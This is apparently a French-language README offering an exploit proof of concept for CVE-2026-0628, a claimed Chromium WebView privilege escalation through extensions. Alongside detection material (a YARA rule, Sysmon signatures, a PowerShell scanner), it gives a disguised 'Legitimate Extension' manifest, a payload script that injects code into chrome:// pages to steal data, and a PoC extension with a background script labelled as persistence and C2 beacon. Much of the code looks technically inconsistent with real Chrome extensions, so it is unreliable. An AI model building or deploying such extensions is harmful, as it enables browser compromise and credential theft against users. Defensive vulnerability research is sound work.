Dissecting-CVE-2026-0628-Chromium-Extension-Privilege-Escalation

= doi.org/10.5281/zenodo.18413764

= orcid.org/0009-0007-7728-256X

README.md


# **CVE-2026-0628 : Élévation de privilèges dans Chromium WebView (Spoofing d'origine) – Recherche technique et preuve de concept**

**Auteur :** Sastra Adi Wiguna (Purple Elite Teaming)
**Date de recherche :** Janvier 2026
**ID CVE :** CVE-2026-0628
**CVSS v3.1 :** 8.8 (Élevée)
**Versions affectées :** Chromium < 143.0.7499.192
**État du correctif :** Corrigé dans Chrome ≥143.0.7499.192, Edge ≥143.0.3650.139

---

## **1. Vue d'ensemble**

### **1.1 Objectif de la recherche**
Ce dépôt documente **CVE-2026-0628**, une **vulnérabilité d'élévation de privilèges de gravité élevée** dans le mécanisme d'application des politiques WebView de Chromium. La vulnérabilité permet à des extensions malveillantes de **contourner les restrictions du sandbox**, d'injecter des scripts dans des **contextes privilégiés** (par exemple, `chrome://`), et d'**élever les privilèges** pour exécuter du code arbitraire.

Cette recherche est **exclusivement destinée à des fins de sécurité défensive**, notamment :
- **Analyse de vulnérabilité**
- **Ingénierie de détection**
- **Développement de stratégies d'atténuation**
- **Tests d'intrusion (environnements autorisés uniquement)**

### **1.2 Avertissement**
- **Strictement réservé à la recherche académique et défensive.**
- **Ne pas utiliser contre des systèmes de production sans autorisation.**
- **Se conformer à toutes les lois applicables et aux politiques de sécurité organisationnelles.**
- **Corriger immédiatement :** Chrome ≥143.0.7499.192, Edge ≥143.0.3650.139.

---

## **2. Analyse technique**

### **2.1 Cause racine**
**Application insuffisante des politiques** dans l'implémentation WebView de Chromium permet aux extensions de **s'échapper des limites du sandbox** et d'accéder à des **contextes DOM privilégiés**.

**Flux vulnérable :**
1. L'extension malveillante déclare l'utilisation de WebView dans `manifest.json`.
2. L'extension injecte une charge utile HTML/JS élaborée via la balise `<webview>`.
3. **Contournement de la validation des politiques WebView** → Accès aux pages privilégiées (par exemple, `chrome://settings`).
4. **Exécution de scripts arbitraires** dans des contextes privilégiés.

**Vecteur CVSS :**
`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`

### **2.2 Architecture de l'exploit**
#### **Modèle d'extension malveillante**
```json
{
  "manifest_version": 3,
  "name": "Legitimate Extension",
  "version": "1.0",
  "webview": {
    "src": "chrome://new-tab-page/",
    "plugins": {}
  },
  "content_scripts": [{
    "matches": ["<all_urls>"],
    "js": ["payload.js"]
  }]
}

Vecteur d'injection critique (payload.js)

class WebViewExploiter {
  constructor() {
    this.privilegedTargets = [
      'chrome://new-tab-page/',
      'chrome-extension://background/',
      'chrome://settings/'
    ];
  }
  injectPayload(targetURL) {
    const webview = document.createElement('webview');
    webview.setAttribute('src', targetURL);
    webview.setAttribute('nodeintegration', ''); // Paramètre de contournement clé
    webview.addEventListener('dom-ready', () => {
      webview.executeScript({
        code: `
          window.chrome = window.chrome || {};
          chrome.runtime.sendMessage({action: 'steal_data'});
          document.body.innerHTML = '';
        `
      });
    });
    document.body.appendChild(webview);
  }
}

---

3. Évaluation de l'impact

Phase d'attaque	Impact technique	Impact commercial	Métriques CVSS
Installation de l'extension	Consentement de l'utilisateur → Persistance	Vecteur d'ingénierie sociale	UI:R (Requis)
Contournement WebView	Évasion du sandbox → Contexte privilégié	Détournement de session	S:U → C:H/I:H/A:H
Injection de script	Manipulation du DOM → Exfiltration de données	Vol d'identifiants	PR:N (Aucun privilège)
Persistance	Script d'arrière-plan → Balise C2	Préparation au mouvement latéral	AC:L (Faible complexité)

---

4. Détection et forensique

4.1 Règle YARA pour les extensions malveillantes

rule CVE_2026_0628_WebView_Exploiter {
  meta:
    description = "Détecte les modèles d'exploitation WebView CVE-2026-0628"
    severity = "high"
  strings:
    $webview_abuse = "webview.*(nodeintegration|allowpopups)"
    $chrome_priv = /(chrome:\/\/|chrome-extension:\/\/)/
    $inject_sig = /(executeScript|getURL|sendMessage)/
  condition:
    all of ($*) and filesize < 500KB
}

4.2 Signatures d'événements Sysmon

• ID d'événement 1 : chrome.exe → Création WebView suspecte.
• ID d'événement 3 : Connexion réseau → Extension → C2 externe.
• Registre : HKCU\Software\Google\Chrome\Extensions\[malicious_id].

---

5. Analyse du correctif et vecteurs de contournement

5.1 Diff de version corrigée (Chrome 143.0.7499.192+)

// Vulnérable (pré-143.0.7499.192)
if (webview.src.startsWith('chrome://')) {
  return false; // Vérification de politique faible
}

// Corrigé
function validateWebViewPolicy(webview) {
  if (!isExtensionTrusted(webview.extensionId)) {
    throw new SecurityError('Extension non privilégiée');
  }
  if (webview.attributes.includes('nodeintegration')) {
    enforceStrictCSP(); // Durcissement de la politique de sécurité du contenu
  }
}

5.2 Implémentation de l'atténuation

Modèle GPO d'entreprise

{
  "ExtensionInstallBlacklist": ["malicious_extension_id*"],
  "ExtensionInstallForcelist": [],
  "WebViewRestrictions": {
    "DisableWebView": true,
    "BlockNodeIntegration": true
  }
}

Script de détection à l'exécution (PowerShell)

# Detect-CVE20260628.ps1
Get-Process chrome | ForEach {
  $extPath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions"
  Get-ChildItem $extPath | Where {
    (Get-Content "$_\manifest.json" | Select-String "webview") -and
    (Get-Content "$_\manifest.json" | Select-String "chrome://")
  }
}

---

6. Preuve de concept (PoC) de l'exploit

6.1 Structure du répertoire

cve-2026-0628-poc/
├── manifest.json
├── background.js
├── content.js
└── popup.html

6.2 Fichiers principaux

manifest.json (Manifeste de contournement)

{
  "manifest_version": 3,
  "name": "WebView Helper Tool",
  "version": "1.0",
  "permissions": ["activeTab", "storage", "tabs"],
  "host_permissions": ["<all_urls>", "chrome://*/*"],
  "background": {
    "service_worker": "background.js"
  },
  "content_scripts": [{
    "matches": ["<all_urls>"],
    "js": ["content.js"],
    "run_at": "document_start"
  }],
  "action": {
    "default_popup": "popup.html"
  },
  "web_accessible_resources": [{
    "resources": ["inject.js"],
    "matches": ["<all_urls>"]
  }]
}

background.js (Persistance et balise C2)

chrome.runtime.onInstalled.addListener(() => {
  console.log('CVE-2026-0628 PoC Installé');
  setTimeout(initExploitation, 5000);
});